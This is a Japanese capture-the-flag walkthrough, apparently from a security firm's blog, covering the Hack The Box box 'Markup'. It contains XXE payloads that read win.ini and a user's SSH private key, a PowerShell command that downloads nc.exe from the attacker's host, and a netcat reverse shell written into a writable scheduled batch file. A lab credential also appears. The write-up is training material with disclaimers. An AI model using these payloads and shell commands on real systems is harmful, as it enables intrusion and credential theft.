コラムColumn

導入事例Case Study

サイバーニュースCyber News

海外のサイバーセキュリティ関連のニュースを日本語でご紹介しています。

お知らせNews

【Hack The Box入門】Markup 攻略ガイド(Starting Point)

Starting Point シリーズ第8弾、「Markup」攻略ガイドです。
前回の「Included」に続き、今回も Hack The Box(HTB)の無料ラーニングシリーズに含まれるボックスを解説します。
本ボックスは難易度「Very Easy」に分類されますが、「Webアプリの情報漏えい」から「権限昇格」までの一連の流れを体験できる実践的な学習内容です。

免責事項:
本記事では Hack The Box(HTB)Starting Point シリーズの学習目的に沿って解説を行っています。
旗(user.txt / root.txt)の内容は記載していません。手順を通してご自身で取得してください。

00. マシンの起動

まず「Spawn Machine」をクリックしてマシンを起動します。

起動が完了すると、対象マシンの IP アドレスが表示されます。

VPN 接続が正しく機能しているか確認するため、ping コマンドを実行します。
ファイアウォールによっては ICMP が無効化されている場合もありますが、通常は応答が返ります。

TTL 値が 127 となっているため、このマシンは Windows OS で動作していることがわかります。

01. 列挙(Enumeration)

01.1 ポートスキャンの実行

まず Nmap を用いて全 TCP ポートをスキャンし、開放されているサービスを確認します。

nmap -n -vv --open -T4 -p- -oN AllPorts.nmap 10.10.10.49
  • -n:DNS解決を行わない
  • -vv:詳細出力
  • --open:開放ポートのみ出力
  • -p-:全ポートを対象
  • -T4:高速スキャン

結果として、Webサーバ(HTTP)SSHサーバ のみが稼働していることがわかりました。

01.2 Nmap スクリプトスキャン

次に、開いているポート(22, 80, 443)に対してスクリプトスキャンを実行します。

nmap -sV -sC -oN DetailPorts.nmap -p 22,80,443 10.10.10.49

結果から、Webサービス(ポート80)が主要な攻撃対象であると判断できます。
ブラウザでアクセスして内容を確認します。

02. Webアプリケーション調査

http://10.10.10.49/ にアクセスすると、MegaShopping というログインページが表示されました。

ここで前回「Included」で入手した認証情報を試してみます。

Daniel : >SNDv*2wzLWf

見事ログインに成功しました。

次にアプリケーションの挙動を確認すると、リクエスト処理が XML 形式で行われていることに気づきます。
この構造は XXE(XML External Entity)インジェクション の典型的なパターンです。

02.1 XXE脆弱性の確認

XML External Entity(XXE)とは、XMLパーサーが外部エンティティを処理する際に発生する脆弱性です。
悪意のある入力によって、サーバー上の任意ファイルを読み取ることが可能になります。
(参考:PortSwigger – XXE Injection

今回のターゲットは Windows 環境のため、ファイルパスをそれに合わせて修正します。

以下のような XML を Repeater で送信します。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<order>
  <quantity>1</quantity>
  <item>&xxe;</item>
  <address>h4rithd.com</address>
</order>

これでサーバーから win.ini の内容が返り、XXE が成功したことを確認できます。
つまり、任意ファイルを読み取ることが可能になりました。

02.2 SSH秘密鍵の取得

このマシンではポート22(SSH)が開いています。
もしユーザーの秘密鍵 id_rsa を取得できれば、SSHログインが可能になります。
ユーザー名 Daniel が既知であるため、以下のようなパスを指定します。

C:\Users\Daniel\.ssh\id_rsa

これを XXE ペイロードで呼び出します。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///C:/Users/Daniel/.ssh/id_rsa"> ]>
<order>
  <quantity>1</quantity>
  <item>&xxe;</item>
  <address>h4rithd.com</address>
</order>

秘密鍵が流出しました。

この鍵をローカル環境に保存し、アクセス権限を変更します。

chmod 600 id_rsa

その後、SSH接続を試みます。

ssh -i id_rsa Daniel@10.10.10.49

接続に成功し、Daniel ユーザーでログインできました。
user.txt も取得可能です。

03. 権限昇格(Privilege Escalation)

今回も Windows 環境のため、権限昇格には複数のアプローチが考えられます。
winPEAS を併用しながら手動で調査を行います。

C:\ 直下を確認すると、Log-Management というディレクトリを発見しました。

このフォルダには .bat(バッチファイル)が含まれており、内容を確認します。

中身を見ると、wevtutil.exe を呼び出しており、イベントログを削除するスクリプトであることがわかります。
(参考:Microsoft Docs – wevtutil

このスクリプトの権限を icacls コマンドで確認します。

icacls C:\Log-Management\job.bat

PowerShell に切り替えて確認します。

結果、BUILTIN\Users グループに フルコントロール権限(F) が与えられていることが分かります。
つまり、通常ユーザーである Daniel でもこのファイルを編集可能です。

03.1 バッチファイルの悪用(Reverse Shell取得)

権限があるため、このバッチファイルにリバースシェルコードを挿入します。
まず netcat(nc.exe)をターゲットにダウンロードします。
ローカルで HTTP サーバを起動し、ターゲット側で PowerShell 経由で取得します。

Powershell -c "IWR -useBasicParsing http://<YourIP>:8888/nc.exe -o nc.exe"

次に job.bat の中身を上書きして、netcat のリバースシェルを実行するように変更します。

echo C:\Users\Daniel\nc.exe -e cmd.exe <YourIP> 7878 > C:\Log-Management\job.bat

この状態で待ち受け(listener)を起動し、バッチが自動実行されるまで待ちます。

ジョブが実行され、root(Administrator)権限でシェルが確立されます。
これでフラグを取得できます。

まとめ

Markup では、XML External Entity (XXE) 脆弱性を利用した情報漏えいからの SSH 秘密鍵奪取、
そして Windows のファイル権限設定を悪用した権限昇格を実践的に学べます。

学習ポイント:

  • XXE脆弱性を利用した任意ファイル読み取りとSSH鍵の取得方法を学べます
  • PowerShellを用いたリモートファイル取得手法を学べます
  • Windowsの権限設定ミスを利用した権限昇格の流れを学べます

次回は「Guard」ボックスに進みます。
シリーズも終盤に入りました。最後まで頑張りましょう。

注意:

  • 本記事の手順はHack The Box公式環境における学習・演習目的です。記載されているユーザー名・パスワード・IP等はすべて架空データであり、実システムへの同様の操作は法律で禁止されています。
  • 本記事で紹介した手法は、攻撃者視点を理解し、防御側の強化に役立てることを目的としています。

投稿者プロフィール

ハリス ディルシャン
ハリス ディルシャン
Offensive Security Engineer | Red Team Specialist
レッドチーム演習やペネトレーションテスト、脅威モデリングを専門とするオフェンシブセキュリティエンジニアです。エンタープライズ環境やWeb・モバイルアプリ、API、クラウドサービスにおけるセキュリティ評価を多数実施し、CTFやマルウェア解析、アンチウイルス回避などにも精通しています。2020年にはCEH Master世界ランキングでトップ10入りを果たし、国際的に高い評価を得ています。
主な保有資格:
● OSCP(Offensive Security Certified Professional)
● CPENT(Certified Penetration Testing Professional)
● eCPPT(Certified Professional Penetration Tester)
● eMAPT(Mobile Application Penetration Tester)
● CRTS(Certified Red Team Specialist)
● CEH Master(認定エシカルハッカー)
● SOC-100(Security Operations Essentials)
● PEN-100(Network Penetration Testing Essentials)
● SLIIT – 情報技術学士(サイバーセキュリティ専攻)


Page Top